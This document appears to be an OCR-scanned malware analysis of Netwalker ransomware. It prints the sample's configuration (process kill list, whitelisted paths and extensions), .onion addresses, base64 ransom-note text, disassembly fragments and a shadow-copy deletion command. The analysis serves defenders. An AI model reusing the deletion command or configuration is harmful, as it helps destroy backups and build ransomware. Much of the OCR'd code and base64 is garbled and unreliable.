"SGkhDQpZb3VWyIGZpbGVzIGFyZSBIbmNyeXB0ZWQgYnkg TmV0d2Fsa2 VyLgOKQWxsIGVuY3J5
cHRIZCBmaWxlcyBmb3IgdGhpeyBjb2 IlwdXRlciBoYXMgZXh0ZW5zaW9uO1Aue2lkfQOKDQotL.QO
KSWYgZm9yIHNvbWUgemVhe29ulHlvdSByZWFkIHR0aXMgdGV4dCBiZWZvemUgd GhlIGVuY 3]
5cHRpb24gZW5kZWQsDQp0aGlzIGNhbiBiZSB1bmRIecnNOb29kIGJ5IHR0oZSBmYWNOIHRoYX Qg
dGhlIIGNvbXB1dGVyIHNsb3dzIGRvd24sDQphbmQgeW91ciBoZWFydCByYXRIIGhhcyBpbmNyZW
IFzZWQgZHVIIHRvIHR0ZSBhYmlsaXRSIHRvVIHR 1cm4gaX Qgh2ZmLAOKdGhlbiB3ZSByZWNvb
WI1IbmQgdGhhdCB5b3UghW92ZSBhd2F51GZyb20gdGhIIGNvbXB1dGVyIGFuZCBhY2NIcHQgdG
hhdCB5b3UgaGIF2ZSBiZWVulGNvbXByb2 1pc2VkLgOKUmVib290aWinL3NodXRkb3dulHdpbGwg
Y2F1c2Uge WIIIHRvIGxve2UgZmlsZXMgd210aG91dCB0aGUgcG9zc2liaWxpdHkgh2YgemVib3Zlen
kuDQoNCiOtDOpPdXIgIGVuY3]5cHRpb24gYWxnb3]pdGhtcyBhemUgdm VyeSBzdH]JvbmegY W5kI
HlvdXIgZmlsZXMgYX]JIIHZlenkgd2VsbCBwem90ZWNOZWQsDQp0aGUgh25seSB3Y XkedG8gZ2V
0IHIvdXIgZmlsZXMgYmFjayBpcyB0byBjb29wZX]JhdGUgd210aCB lcyBhbmQgZ2VOIHR0oZSBKkZWN
yeXB0ZXIgcHJvZ3JhbS4NCgOKRG8gbm90IHRyeSBObyByZWNvdm VyIHIvdXIgZmlsZXMgd210aG9
1dCBhIGRIY3J5cHRIciBwem9nemFtLCB5b3UghWEFSIGRhbWInZSB0aGVtlGFuZCB0aG VulHRoZ
Xkgd2IsbCBiZSBpbXBve3Np YmxIIHRVIH]1Y292ZXTuDQoNCkZvciB 1 cyB0aGlzIGlzZIGplc3QgYnVz
aWile3MgYWSKIHRvIHByb3ZIIHRVIHIvAS BvdXIgc2VyaW91c251c3MsIHAIIHdpbGwgZ G VijenlwdC
B5b3Ugh251l1GZpbGUgZm9yIGZyZWUuDQpKdAXNOIGIWZW4¢b3 VyIHAIYnNpdGUsIHVwhG9hZ
CB0aGUgZW5jenlwdGVKIGZpbGUgYW5SkIGdIdCB0aGUgZ G VjenlwdGVKIGZpbGUgZm9ylGZyZ
WUuDQoNCi0tDQoNCINOZXBzIHRvIGdIdCBhY2Nlc3Mgh24¢b3 VyIHAIYnNpdGU6DQoNCjEuR
GI3bmxvYWQgYW3kIGluc3RhbGwgd GI9yLW]Jyb3dzZXI61GhOdHBzO18vdG9ycH]JvamVjdCivemev
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DQoNCjluT3BIbiBvdXIgd2Vic210Z Toge29uaWIuMXONCKImIHR0ZSB3ZW]zaXRIIGIzIG5vdCBhd
mEpbGFibGUsIGIwZW4eYW5vdGhlciBvbmUG6IHtvbmlvhiJ9IDQoNCjMuUHVOIHIvdXIge G Vyc29u
YWwgY29kZSBpbiB0aGUgaWiwdXQgZm9ybToNCg( Ke2NvZGV9

,"white

{"path

:["*system volume information

,"*windows.old

,"*\users\F\*temp

mp","*msocache

,"*:\winnt

" "*$windows.~ws

,"*perflogs

,"*boot

S"* A\ windows

" "*:\program file*\vmware

e","\\*\users\*\*temp

temp","\\*\winnt

nt","\\*\windows

Netwalker, like nefilim contains a pre-defined whitelist. Unlike nefilim, it has a
killList as well.

KKK .012D3IF27
push xxx.12E118C ; 12E118C:"kill"

push ebp shell132.75966353

call xxx.12DC110 push shell132.7596627C ; 7596627C:L"KillList™

mov esi,eax push shell32.7596625C ; 7596625C:L"FileAssociation”
add esp,s push z ~ L ]

test esi,esi
je xXxx.12D3FFB

Netwalker contains configuration variables within the payload.

push xxx.393112C ; 93112C:mode”
push ebp

mov esi,eax
€31l oo, 92C110

XXX.00923E7F

push xxx.931170 ; 931170’"wh1te“
push ebp

€all »xx.92C110
mov esi,eax

add esp,s

test esi,esi

je xxx.924187

Soooo
push xxx.931134 ; 931134:"
push ebp

mov ebx,eax

€all »oox.92C110

push xxx.93114C ; 93114C:
push ebp

mov dword ptr ss:lflesp+3 O] eax
£all xxx.92C110

spsz”

“thr"

XXX.00923E97 -_——-

¢.931180 : 931180 "File” N
push ebp g:gn ;;?.Bdlloo ; 9311803 file |
mov_dword ptr ss: [e5p+JCP eax €all xxx.92C110 0 I
€all xxx.92C110 push xxx.931178 ; 931178i"path” i
push xxx.931144 ; 931144: |1dsz push esi U I
push ebp 1 mov ebx,eax U f
mov dword ptr ss: [esp+4:p eax €311 xxx.92C110 ! I
€all xxx.92C110 push xxx.3931188 ; 9311881"ext" I

1
1
1
I
1
1
I
1
1
1
I
1,
push xxx.93113C ; 93113C: 'naTe sz"
1
I
1
1
1
I
1

push xxx.931150 ; 931150: |0n10n " push esi Lo I
push ebp | mov_edi,eax

mov _dword ptr ss:[fesp+54li,eax ! C:;1 KXXi?2C110

€all xxx.92C110 | 1 add esp,1s

ot = " mov esi,eax
push >x.931158 ; 931158: |on1on2 test ebx,ebx

push ebp ! je xxx.924187
mov dword ptr ss: [esp+60h,eax 1
€31l oo, 92C110 | 1
add esp,40 1
mov dword ptr ss: [esp+‘4L,eax 1
push xxx.931160 ; 931160:"1file’]
I
1
1
1

push ebp

£all xxx.92C110
push xxx.931168 ; 931168:"71end”
push ebp
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Let’s dig in and find some of the configurations.

KILL _LIST (IF PROCESS IS RUNNING => TERMINATE)

kill
{"use
‘true,"pre
:["nslsvice.exe
,"'pg*
,"'nservice.exe
,"cbvscserv¥
,'ntrtscan.exe
,"cbservi*
,"hMailServer*
" IBM*
,"bes10%*
,"black*
,"apach*
,"bd2*
,"db*
,"ba*
,"be*
’"Q'B*
,"oracle*
,"wbengine*
,"vee*
,"postg™
,"sage*
’leap*
,"b 1*
,"fdlaunch*
,"msmdsrv¥
,"report*®
,"msdtssr*
,"coldfus*
Jcfdot*
,"'swag*®
,"swstrtr®
,"jetty.exe
,"'wrsa.exe

WHITE_LISTED_PATH(S)

white

{"path

:["*system volume information
,"*windows.old
,"*:\users \*\*temp
mp","*msocache
" \winnt

" " Fwindows.~ws
,"*perflogs

,"*boot

,"* \windows
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" "*:\program file*\vmware
e","\\*\users\*\*temp
temp","\\*\winnt

nt","\\*\windows

ws","*\program file*\vmware
e","*appdata*microsoft
,"*appdata*packages
,"*microsoft\provisioning

" "dvd maker

"*Internet Explorer

"*Mozilla

"*Mozilla*

"*Old Firefox data

,"M\program file¥*\windows media*

* R\ program file*\windows portable*
*! "¥windows defender

,"*\program file*\windows nt
t","*\program file*\windows photo*

* "\ program file*\windows side*

* "\ program file*\windowspowershell
1","*\program file*\cuass*

*! ¥\ program file*\microsoft games
s","*\program file*\common files\system
em","*\program file*\common files\*shared
ed","*\program file*\common files\reference ass*
s*" "\windows\cache*

* "*temporary internet®

,"*media player
,"*:\users\*\appdata\*\microsoft
soft","\\*\users\*\appdata\*\microsoft
rosoft","*\Program File*\ Cisco

o7

bl
bl
5
bl

WHITE_LISTED_FILE(S) AND EXTENSIONS

file
:["ntuser.dat*
,"iconcache.db
,"gdipfont*.dat
,'ntuser.ini
,"usrclass.dat
,"usrclass.dat®
,"boot.ini
,"bootmgr
,"bootnxt
,"desktop.ini
,"ntuser.dat
,"autorun.inf
,"ntldr
,"thumbs.db
,"bootsect.bak
,"bootfont.bin
1,"ext

("msp

,"exe

n
,"sys
,''msc

UDURRANI
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,"mod
,"clb
,"'mui
,'regtrans-ms
,”theme
,"hta
,"shs
,"nomedia
,"diagpkg
,"cab
,"cs
,"'msstyles
Jeur
,"drv
,"icns
,"diagcfg
,dll
,"ocx
,"Ink
,"ico
,idx

’"ps 1
,"mpa
’IVCpl

JMicl

,"pr
’"prf
’"rtp

,"1df
>|Vkey
,"diagcab
J"emd

"spl

,"deskthemepack

,"bat
,"themepack

Netwalker takes longer than nefilim to encrypt files as netwalker can exfiltrate files as well. It
contains code path to data theft. The adversaries can expose data if ransom demands
are not met.

pb36hu4splécyjdfhing7h3pw6dhpk32ifemawkujj4gp33ejzdg3did.onion
rnfdsgmé6wh6j6su5txkekwdudyd7kp2eatvu7déxhyn5cs4ltdpdrqgqgd.onion
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Netwalker can look for shares as well.

push wkscli.&EGA49ES ; GEGA49ES:L""MNIPCE™
push esi

push edi

call <IMP.&wcscat_s>

Right before encrypting the files, netwalker deletes the shadow copy
C:\Windows \ system32 \ vssadmin.exe delete shadows /all /quiet
Once files are encrypted. Netwalker will create the following path with the ransom note.

{id}—55readabout.txt

Netwalker payload will decrypt the following base64 content and add it to the file

OKSWYgZm9yIHNvbWUgcmVhI3NvbiB5b3UgcmVhZCBOaGlzIHR1eHQgYmVmb3J 1IHRoZSB LbmNyeSNwdG LvbiB1bmR1ZCwNCnRoaXMgY2FuIGJ LIHVuZGVyc3Qjb29kIGI5IHRoZSBmYWNAIHRoYXQgdGh LIGNVb)
XAjdXR1ciBzbG93cyBkb3duLAOKYWSkIH1vdXIgaGVhcnQgcmFAZSBoYXMgaW5j ciN1YXN1ZCBkdWUgdG8gdGh1IGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp@aGVuIHd LIHI1Y29tbWVuZCBOaGFOIH1vdSBt
b3Z1IGF3YXkgZnJvbSB@aGUgY29tcHUjdGVyIGFUZCBhY2N1cHQgdGhhdCB5b3UgaGF2ZSBiZWVuIGNvbXByI29taXN1ZC4NC1I1Ym9vI3Rpbmevc2h1dCNkb3duIHdpbGwgY2EjdXN1IH1vdSB@byBsbyNzZSB
maWx LcyB3aXRob3VOIHR0ZSBwb3NzI21iaWxpdHkgb2YgcmVjI292ZXI5Lg@KDQotLT@IDQpPAXIgIGVUY3JI5cHQjaWIuIGFsZ29yaXQjaG1lzIGFyZSB2ZXI5IHNOcm9uZyBhbmQgew9l 2

sokkkokoiokiklkllllllolllllollollokkokkokkokkokkokkoRok koK
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